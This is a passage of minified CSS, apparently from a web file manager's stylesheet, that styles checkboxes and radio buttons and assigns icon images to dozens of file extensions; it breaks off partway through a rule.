input[type="checkbox"].kui-checkbox:checked{ background:#1b7e5a;border-color:#1b7e5a !important;} input[type="checkbox"].kui-checkbox:checked:before{ color:#fff;} input[type="checkbox"].kui-checkbox:checked:hover, input[type="checkbox"].kui-checkbox:checked:focus{ box-shadow:none !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#1b7e5a !important;box-shadow:0 0 0 1px #1b7e5a !important;} input[type="checkbox"].kui-checkbox.radius{ border-radius:999px;} input[type="checkbox"].kui-checkbox.size-smallx{ height:16px;width:16px !important;} input[type="checkbox"].kui-checkbox.size-smallx:before{ font-size:9.6px;line-height:16px;} input[type="checkbox"].kui-checkbox.size-small{ height:17px;width:17px !important;} input[type="checkbox"].kui-checkbox.size-small:before{ font-size:10.2px;line-height:17px;} input[type="checkbox"].kui-checkbox{ height:24px;width:24px !important;} input[type="checkbox"].kui-checkbox:before{ font-size:14.4px;line-height:24px;} input[type="checkbox"].kui-checkbox.size-big{ height:26px;width:26px !important;} input[type="checkbox"].kui-checkbox.size-big:before{ font-size:15.6px;line-height:26px;} input[type="checkbox"].kui-checkbox.size-bigx{ height:32px;width:32px !important;} input[type="checkbox"].kui-checkbox.size-bigx:before{ font-size:19.2px;line-height:32px;} input[type="checkbox"].kui-checkbox:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox:hover, input[type="checkbox"].kui-checkbox:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="checkbox"].kui-checkbox.red:hover, input[type="checkbox"].kui-checkbox.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="checkbox"].kui-checkbox.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="checkbox"].kui-checkbox.blue:hover, input[type="checkbox"].kui-checkbox.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="checkbox"].kui-checkbox.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="checkbox"].kui-checkbox.green:hover, input[type="checkbox"].kui-checkbox.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="checkbox"].kui-checkbox.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="checkbox"].kui-checkbox.yellow:hover, input[type="checkbox"].kui-checkbox.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="checkbox"].kui-checkbox.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="checkbox"].kui-checkbox.grey:hover, input[type="checkbox"].kui-checkbox.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="checkbox"].kui-checkbox.black:checked{ background:#444;border-color:#444 !important;} input[type="checkbox"].kui-checkbox.black:hover, input[type="checkbox"].kui-checkbox.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;} input[type="radio"].kui-radio{ background:#f6f6f6;cursor:pointer;border:1px solid #ddd !important;outline:none;border-radius:999px;display:inline-block;text-align:center;background-clip:padding-box;box-shadow:0 1px 2px rgba(0,0,0,0.05), inset 0px -15px 10px -12px rgba(0,0,0,0.05);appearance:none;-moz-appearance:none;-webkit-appearance:none;} input[type="radio"].kui-radio:before{ font-family:FontAwesome;content:"\f00c";color:#f6f6f6;} input[type="radio"].kui-radio:checked:before{ color:#fff;} input[type="radio"].kui-radio:checked:hover, input[type="radio"].kui-radio:checked:focus{ box-shadow:none !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#224 !important;} input[type="radio"].kui-radio.size-smallx{ height:16px;width:16px !important;} input[type="radio"].kui-radio.size-smallx:before{ font-size:9.6px;line-height:14px;} input[type="radio"].kui-radio.size-small{ height:18px;width:18px !important;} input[type="radio"].kui-radio.size-small:before{ font-size:10.8px;line-height:16px;} input[type="radio"].kui-radio{ height:24px;width:24px !important;} input[type="radio"].kui-radio:before{ font-size:14.4px;line-height:22px;} input[type="radio"].kui-radio.size-big{ height:26px;width:26px !important;} input[type="radio"].kui-radio.size-big:before{ font-size:15.6px;line-height:24px;} input[type="radio"].kui-radio.size-bigx{ height:32px;width:32px !important;} input[type="radio"].kui-radio.size-bigx:before{ font-size:19.2px;line-height:30px;} input[type="radio"].kui-radio:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio:hover, input[type="radio"].kui-radio:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.red:checked{ background:#ff5722;border-color:#ff5722 !important;} input[type="radio"].kui-radio.red:hover, input[type="radio"].kui-radio.red:focus{ border-color:#ff5722 !important;box-shadow:0 0 0 1px #ff5722 !important;} input[type="radio"].kui-radio.blue:checked{ background:#63acff;border-color:#63acff !important;} input[type="radio"].kui-radio.blue:hover, input[type="radio"].kui-radio.blue:focus{ border-color:#63acff !important;box-shadow:0 0 0 1px #63acff !important;} input[type="radio"].kui-radio.green:checked{ background:#64bd63;border-color:#64bd63 !important;} input[type="radio"].kui-radio.green:hover, input[type="radio"].kui-radio.green:focus{ border-color:#64bd63 !important;box-shadow:0 0 0 1px #64bd63 !important;} input[type="radio"].kui-radio.yellow:checked{ background:#ffc107;border-color:#ffc107 !important;} input[type="radio"].kui-radio.yellow:hover, input[type="radio"].kui-radio.yellow:focus{ border-color:#ffc107 !important;box-shadow:0 0 0 1px #ffc107 !important;} input[type="radio"].kui-radio.grey:checked{ background:#aaa;border-color:#aaa !important;} input[type="radio"].kui-radio.grey:hover, input[type="radio"].kui-radio.grey:focus{ border-color:#aaa !important;box-shadow:0 0 0 1px #aaa !important;} input[type="radio"].kui-radio.black:checked{ background:#444;border-color:#444 !important;} input[type="radio"].kui-radio.black:hover, input[type="radio"].kui-radio.black:focus{ border-color:#444 !important;box-shadow:0 0 0 1px #444 !important;}}.x-item-small{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.x-item-file{background-repeat:no-repeat;background-size:cover;background-position:center;background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');width:100%;height:100%;display:inline-block;pointer-events:none;}.x-item-file.small{width:20px;height:20px;}.fileList_icon .file .ico .x-item-file{border-radius:5px;margin-top:6px;margin-top:4px;}.bindary_box .ico .x-item-file{width:90px;height:90px;margin-top:28px;}.fileList_list .file .ico .x-item-file,.fileList_list_split .file .ico .x-item-file{border:none;}.ztree li span.tree_icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.header-content #yarnball .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.task_tab .tabs .tab .x-item-file,.task_tab .tabs .tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.tasktab-dragging.tab img{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.aui_title .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.edit_tab .tabs .tab .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.draggable-dragging .name .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.do_search .search_result .file-item .file-info .file-icon .x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;}.context-menu-list .context-menu-item .font-icon.x-item-file{position:relative;width:18px;height:18px;margin-right:4px;background-size:100% auto;vertical-align:middle;margin-right:8px;}.context-menu-list .context-menu-item .font-icon.x-item-file:before{content:"";}.x-txt.small,.x-textile.small,.x-inc.small,.x-log.small{background-image:url("../../../images/file_icon/icon_file/txt_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-php.small{background-image:url("../../../images/file_icon/icon_file/php_small.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/php_small.png?ver=3.30',sizingMethod='scale');background-size:auto;}.x-txt,.x-textile,.x-oexe,.x-inc,.x-csv,.x-log,.x-asc,.x-tsv,.x-lnk,.x-url,.x-webloc,.x-meta,.x-localized,.x-xib,.x-xsd,.x-storyboard,.x-plist,.x-csproj,.x-pch,.x-pbxproj,.x-local,.x-xcscheme,.x-manifest,.x-vbproj,.x-strings,.x-jshintrc,.x-sublime-project,.x-readme,.x-changes,.x-changelog,.x-version,.x-license,.x-changelog,.x-abap,.x-abc,.x-as,.x-asp,.x-aspx,.x-ada,.x-adb,.x-htaccess,.x-htgroups,.x-htgroups,.x-htpasswd,.x-asciidoc,.x-adoc,.x-asm,.x-a,.x-ahk,.x-bat,.x-cmd,.x-cpp,.x-c,.x-cc,.x-cxx,.x-h,.x-hh,.x-hpp,.x-ino,.x-c9search_results,.x-cirru,.x-cr,.x-clj,.x-cljs,.x-cbl,.x-cob,.x-coffee,.x-cf,.x-cson,.x-cakefile,.x-cfm,.x-cs,.x-css,.x-curly,.x-d,.x-di,.x-dart,.x-diff,.x-patch,.x-dockerfile,.x-dot,.x-dummy,.x-dummy,.x-e,.x-ge,.x-ejs,.x-ex,.x-exs,.x-elm,.x-erl,.x-hrl,.x-frt,.x-fs,.x-ldr,.x-ftl,.x-gcode,.x-feature,.x-.gitignore,.x-glsl,.x-frag,.x-vert,.x-gbs,.x-go,.x-groovy,.x-haml,.x-hbs,.x-handlebars,.x-tpl,.x-mustache,.x-hs,.x-hx,.x-html,.x-hta,.x-htm,.x-xhtml,.x-eex,.x-html.eex,.x-erb,.x-rhtml,.x-html.erb,.x-ini,.x-inf,.x-conf,.x-cfg,.x-prefs,.x-io,.x-jack,.x-jade,.x-java,.x-ji,.x-jl,.x-jq,.x-js,.x-jsm,.x-json,.x-jsp,.x-jsx,.x-latex,.x-ltx,.x-bib,.x-lean,.x-hlean,.x-less,.x-liquid,.x-lisp,.x-ls,.x-logic,.x-lql,.x-lsl,.x-lua,.x-lp,.x-lucene,.x-Makefile,.x-makemakefile,.x-gnumakefile,.x-makefile,.x-ocamlmakefile,.x-make,.x-md,.x-markdown,.x-mask,.x-matlab,.x-mz,.x-mel,.x-mc,.x-mush,.x-mysql,.x-nix,.x-nsi,.x-nsh,.x-m,.x-mm,.x-ml,.x-mli,.x-pas,.x-p,.x-pl,.x-pm,.x-pgsql,.x-php,.x-phtml,.x-shtml,.x-php3,.x-php4,.x-php5,.x-phps,.x-phpt,.x-aw,.x-ctp,.x-module,.x-ps1,.x-praat,.x-praatscript,.x-psc,.x-proc,.x-plg,.x-prolog,.x-properties,.x-proto,.x-py,.x-r,.x-cshtml,.x-rd,.x-rhtml,.x-rst,.x-rb,.x-ru,.x-gemspec,.x-rake,.x-guardfile,.x-rakefile,.x-gemfile,.x-rs,.x-sass,.x-scad,.x-scala,.x-scm,.x-sm,.x-rkt,.x-oak,.x-scheme,.x-scss,.x-sh,.x-bash,.x-bashrc,.x-sjs,.x-smarty,.x-tpl,.x-snippets,.x-soy,.x-space,.x-sql,.x-sqlserver,.x-styl,.x-stylus,.x-svg,.x-swift,.x-tcl,.x-tex,.x-toml,.x-twig,.x-swig,.x-ts,.x-typescript,.x-str,.x-vala,.x-vbs,.x-vb,.x-vm,.x-v,.x-vh,.x-sv,.x-svh,.x-vhd,.x-vhdl,.x-wlk,.x-wpgm,.x-wtest,.x-xml,.x-rdf,.x-rss,.x-wsdl,.x-xslt,.x-atom,.x-mathml,.x-mml,.x-xul,.x-xbl,.x-xaml,.x-xq,.x-yaml,.x-yml,.x-cer,.x-reg,.x-config,.x-srt,.x-ass{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-pl,.x-pm,.x-cgi,.x-as,.x-asm,.x-clj,.x-cbl,.x-cfm,.x-d,.x-diff,.x-dot,.x-ejs,.x-erl,.x-ftl,.x-go,.x-hs,.x-vbs,.x-haml,.x-erb,.x-jade,.x-json,.x-jq,.x-jsx,.x-ji,.x-tex,.x-lisp,.x-ls,.x-lsl,.x-lua,.x-lp,.x-matlab,.x-mel,.x-r,.x-yaml,.x-yml{background-image:url("../../../images/file_icon/icon_file/code.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/code.png?ver=3.30',sizingMethod='scale');}.x-bin,.x-hex,.x-zip,.x-pdf,.x-swf,.x-gzip,.x-rar,.x-arj,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-lzh,.x-uue,.x-bz2,.x-ace,.x-exe,.x-so,.x-dll,.x-chm,.x-rtf,.x-odp,.x-odt,.x-pages,.x-class,.x-psd,.x-ttf,.x-fla,.x-dmg,.x-dat,.x-ipa,.x-lib,.x-a,.x-apk,.x-so,.x-o{background-image:url("../../../images/file_icon/icon_file/bin.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bin.png?ver=3.30',sizingMethod='scale');}.x-music,.x-mp3,.x-wma,.x-mp2,.x-mid,.x-aac,.x-ogg,.x-oga,.x-webma,.x-wav,.x-m4a,.x-m3u,.x-m4a,.x-midi,.x-mid,.x-flac,.x-alac,.x-ape,.x-ac3{background-image:url("../../../images/file_icon/icon_file/music.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/music.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/flv.png?ver=3.30',sizingMethod='scale');}.x-html,.x-htm,.x-url,.x-tpl,.x-lnk,.x-haml,.x-shtml,.x-webloc,.x-hta,.x-xhtml{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-css,.x-less,.x-sass{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-js,.x-coffee,.x-jsx{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-xml,.x-config,.x-manifest,.x-xaml,.x-csproj,.x-vbproj{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-cs,.x-asp,.x-aspx{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-java,.x-jsp{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-mm,.x-cc,.x-cxx,.x-cpp,.x-c,.x-m{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-h,.x-hpp,.x-hh,.x-pch{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-png,.x-jpg,.x-jpeg,.x-bmp,.x-gif,.x-picture,.x-ico,.x-svg,.x-cur,.x-webp,.x-tif,.x-tiff{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-make,.x-Makefile,.x-makefile,.x-GNUmakefile,.x-OCamlMakefile,.x-makemakefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-iso,.x-vcd{background-image:url("../../../images/file_icon/icon_file/iso.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/iso.png?ver=3.30',sizingMethod='scale');}.x-pkg,.x-package,.x-framework{background-image:url("../../../images/file_icon/icon_file/pkg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-tgz,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-7z{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none 